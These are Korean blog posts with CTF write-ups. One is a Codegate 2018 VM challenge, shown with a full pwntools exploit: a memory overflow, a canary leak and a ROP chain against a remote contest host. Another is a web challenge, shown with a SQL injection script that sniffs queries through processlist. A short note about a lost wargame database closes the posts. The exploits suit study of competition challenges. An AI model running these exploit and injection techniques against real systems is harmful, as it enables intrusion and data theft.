ida 플러그인까지 준비해가서 펌웨어를 깠는데

이게 왠걸 아무리 봐도 상식적으로 취약점이 없었다..


삽질과 고뇌와 인내의 시간을 거치고


취약점 이거임..gamebox 에뮬레이터에 잇엇음..

class Stdin:
def read(self, size):
res = ''
buf = sys.stdin.readline(size)
for ch in buf:
if ord(ch) > 0b1111111:
break
if ch == '\n':
res += ch
break
res += ch
return res

def write(self, data):
return None



0b1111111보다 큰 입력값일 경우 바로 break하는데

이러면 read syscall 의 반환값이 0이됨


secretkey는 content 리턴값의 -1만큼 입력받음

content리턴값이 0이면? ... 오버플로우남..


이걸 어떻게 쓰냐면 


def write_memory(self, addr, data, length):
if not length:
return

if self.memory.check_permission(addr, PERM_WRITE) and self.memory.check_permission(addr + length - 1, PERM_WRITE):
for offset in range(length):
self.memory[addr + offset] = data[offset] & 0b1111111
else:
self.terminate("[VM] Can't write memory")



이건데 


권한체크를 처음과 끝(data+length)주소만 함


length를 길게줘서 data+length가 권한이 있는 곳이면 쓰기가 가능한것..

content를 엄청 길게줘서 오버플로우 시키면 된다..

마침 0xf1000영역이 뒤에 할당된다.


스킨 건드리다가 코드 하이라이트 날라감.

나중에 해야겟다


#map 0xc4000 0x1c000 0x3a000 0xdd000 0x9b000 0xbb000 0xbf000 0xf1000 0x7c000
#0x59000 -> len( diary) 0x59000+ind*3-> mmap addr

from pwn import *
from hashlib import sha1
import string
import random


r=process(['python','vm_d.py'])
r=process(['python','vm_diary.py'])
x=random.randrange(0, 2**21-1)
def p21(a):
return chr(a & 0b1111111) + chr((a & 0b111111100000000000000) >> 14) + chr((a & 0b11111110000000) >> 7)

def chch():
r.recvuntil('prefix : ')
p=r.recvuntil('\n')[:-1]
print p
s=string.letters+string.digits
t=0
for i in s:
for j in s:
for l in s:
for k in s:
for m in s:
ans=p+i+j+l+k+m
if sha1(ans).hexdigest().endswith('000000'):
print ans
r.sendline(ans)
t=1
break
if t==1:
break
if t==1:
break
if t==1:
break
if t==1:
break

#r=process(['python','vm_diary.py'])
def rr(ind):
r.sendafter('>',str(ind).ljust(3,'\x00'))
def list():
rr(1)
def write(title,content,sec):
rr(2)
r.sendafter('title>',title)
r.recvuntil('content, secret key (same length)')
r.send(content)
r.send(sec)

def show(ind):
rr(3)
r.sendafter('index',str(ind)+'\n')

def edit(ind,title,cont):
rr(4)
r.sendafter('index', str(ind)+'\n')
r.sendafter('title',title)
r.sendafter('content',cont)

print len(sys.argv)
if len(sys.argv)>1:
r = remote('58.229.253.146', 8888)
chch()
write('t' * 0x1e, 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')
write('t' * 0x1e, 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')


rr(2)
r.sendafter('title>', 't\n')
r.sendlineafter('content, secret key (same length)', '\x80')
r.send('C' * (0x1eb13+10-9) +p21(0x3)+p21(0xf5fb6)+'\x80'+'\n')
print hex(0x3a4ec+0x1eb13+10)
list()
r.recvuntil('----------------------------------------------------')
r.recvuntil('1)')
canary=r.recv(3)


print 'canary:',canary
#raw_input()
#r.interactive()

for i in range(4):
write('flag\x00\n', 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')
rr(2)
r.sendafter('title>', 't\n')
r.sendlineafter('content, secret key (same length)', '\x80')
p2p1r=0x6ae
p1p0r=0x67e

'''
LOAD:064E syscall
LOAD:0650 pop $r6
LOAD:0652 cmp $r6, $r9
LOAD:0654 jne loc_59D
LOAD:0659 pop $r3
LOAD:065B pop $r2
LOAD:065D pop $r1
LOAD:065F pop $pc
'''
rop=p21(0xdead)+p21(0x67e)+p21(0xdd000)+p21(1)+p21(0x64e)+canary+p21(0xdead)+p21(0x9b000)+p21(0xdead)#+p21(0xdead)+p21(0xc)
rop2=p21(p1p0r)+p21(2)+p21(3)+p21(0x64e)+canary+p21(0x100)+p21(0x9b000)+p21(0xdead)
rop+=rop2
rop+=p21(p1p0r)+p21(1)+p21(2)+p21(0x64e)
r.send('C' * (0x4b13 - 0x4a-50-2740-1+4+2800-30+18-9+3+2+3-18*3+1)+'E'*(17*3-1+3)+ 'D' +canary+p21(0xdead)*2+rop+'\x80\n')
#print hex(0x4b13 - 0x4a-50-2740-1+4+0xf14ec+2800)
print 'canary:',canary
raw_input()
r.interactive()


'CTF' 카테고리의 다른 글

[codegate2018 final]place the blanket  (0) 2018.04.07
[sha2017]megan-35  (0) 2017.08.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19

import requests #bbs(title,writer,contents) url='http://110.10.147.36/write_ok.php' sid='35p14j8h1all6avl46rcopfm34' for i in range(1): print str(i) title='ss'+str(i) query="qwer'),('gogo','say222',(select group_concat(info) from information_schema.processlist))#" query2="qwer'),('gg4','say222',(select group_concat(benchmark(99999999,@query:=concat(@query,(select group_concat(info) from information_schema.processlist))),@query)))#" query2 = "qwer'),('gg5','say222',(select group_concat(@q3:=0x3333,benchmark(99,@q3:=concat(@q3,(select group_concat(info) from information_schema.processlist where info like '%create%'))),@q3)))#" #query2 = "qwer'),('gg4','say222',(select @q3:=0x3232))#" #query2 = "qwer'),('gg','say222',(select @q3))#" #query="qwer'),('gg','say222',(select group_concat(current_statement) from sys.processlist))#" res = requests.post(url, data={'title': title, 'contents': query2}, cookies={'PHPSESSID': sid}) #for i in range(1): # d=requests.get('http://110.10.147.36/?p=secret&C=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&T=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&F=cccccccccccccccccccccccccccccccc',cookies={'PHPSESSID':sid}) #res=requests.post(url,data={'title':title,'contents':query},cookies={'PHPSESSID':sid}) print res.text


대회때 못풀었다. 사실 웹문제는 우리팀은 버릴 예정이었다. 시간이 ㅁㅏㄴㅎ이남지 않는이상..

팀에 웹해커가 없다는게 구멍이 너무 컸다... 할말이 많으니 후기 글을 따로 써봐야겠다.. 


diary content에 sql injection이 있었고

benchmark로 루프를 돌리면서 secret에 있는 select문을 돌려주면 processlist에서 쿼리문을 스니핑 할 수 있다.


참고


rubiya님의 발표자료


http://secuinside.com/archive/2017/2017-1-2.pdf


http://chaneyoon.tistory.com/333




'CTF' 카테고리의 다른 글

[codegate 2018 final] 7amebox3  (0) 2018.04.07
[sha2017]megan-35  (0) 2017.08.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19

http://wargame.say2.kr


강의용으로 만든 practice 문제들은 곧 조정..


시간날 때 문제 조금씩 추가 해야겟다!


-----


오랜만에 머신러닝문제를 준비해서 추가하다가 실수해서 db를 날렷다.... 이런 멍청한 실수를 내가하다니..ㅠㅠ 


제일 최근에 디비 백업한게 11월..

스냅샷찍어논것도 없고해서.. 일단 진짜 지푸라기를 잡는 심정으로 아마존에 문의를 남겼다.

살리면 좋겟지만.. 못살리면.. ㅠㅠ

문제야 다시 올리면 되지만 계정정보나 문제인증정보가 날라갓으니..죄송합니다..

오랜만에 들어 가보니 가입자가 꽤 늘어나 있었는데 화가나 죽겟다 엉엉


기존회원들에겐 정말 죄송하지만 디비못살리면.. 

아예 디자인도 손볼 부분도 있었고 해서 새로 리모델링하고 문제도 많이 추가해서

새로 오픈할까도 생각중이다...



+ Recent posts